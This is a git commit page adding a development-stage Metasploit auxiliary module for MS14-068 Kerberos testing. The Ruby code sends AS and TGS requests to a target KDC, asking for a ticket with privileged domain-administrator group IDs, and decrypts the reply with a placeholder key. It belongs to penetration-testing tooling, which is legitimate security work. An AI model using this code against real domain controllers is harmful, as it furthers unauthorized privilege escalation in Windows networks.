Add dummy test module
parent
f3f6a64f02
commit
9a58617387
|
@ -0,0 +1,89 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
|
#include Msf::Exploit::Remote::Kerberos::Client
|
||||||
|
include Msf::Kerberos::Microsoft::Client
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Dummy Kerberos testing module',
|
||||||
|
'Description' => %q{
|
||||||
|
Dummy Kerberos testing module
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'juan vazquez'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['MSB', 'MS14-068']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DisclosureDate' => 'Dec 25 2014'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
cname: 'juan',
|
||||||
|
sname: 'krbtgt/DEMO.LOCAL',
|
||||||
|
realm: 'DEMO.LOCAL',
|
||||||
|
key: OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('juan'))
|
||||||
|
}
|
||||||
|
|
||||||
|
connect(:rhost => datastore['RHOST'])
|
||||||
|
print_status("Sending AS-REQ...")
|
||||||
|
res = send_request_as(opts)
|
||||||
|
print_status("#{res.inspect}")
|
||||||
|
|
||||||
|
unless res.msg_type == 11
|
||||||
|
print_error("invalid response :(")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("good answer!")
|
||||||
|
print_status("Parsing AS-REP...")
|
||||||
|
|
||||||
|
session_key = extract_session_key(res, opts[:key])
|
||||||
|
pp session_key
|
||||||
|
logon_time = extract_logon_time(res, opts[:key])
|
||||||
|
|
||||||
|
print_status("logon time: #{logon_time}")
|
||||||
|
ticket = res.ticket
|
||||||
|
|
||||||
|
opts.merge!(
|
||||||
|
logon_time: logon_time,
|
||||||
|
session_key: session_key,
|
||||||
|
ticket: ticket,
|
||||||
|
group_ids: [513, 512, 520, 518, 519],
|
||||||
|
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962'
|
||||||
|
)
|
||||||
|
print_status("Sending TGS-REQ...")
|
||||||
|
res = send_request_tgs(opts)
|
||||||
|
|
||||||
|
unless res.msg_type == 13
|
||||||
|
print_error("invalid response :(")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Valid TGS-Response")
|
||||||
|
|
||||||
|
pp res
|
||||||
|
|
||||||
|
|
||||||
|
decrypt_res = res.enc_part.decrypt("AAAABBBBCCCCDDDD", 9)
|
||||||
|
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||||
|
|
||||||
|
print_good("Decrypted!")
|
||||||
|
pp enc_kdc_res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue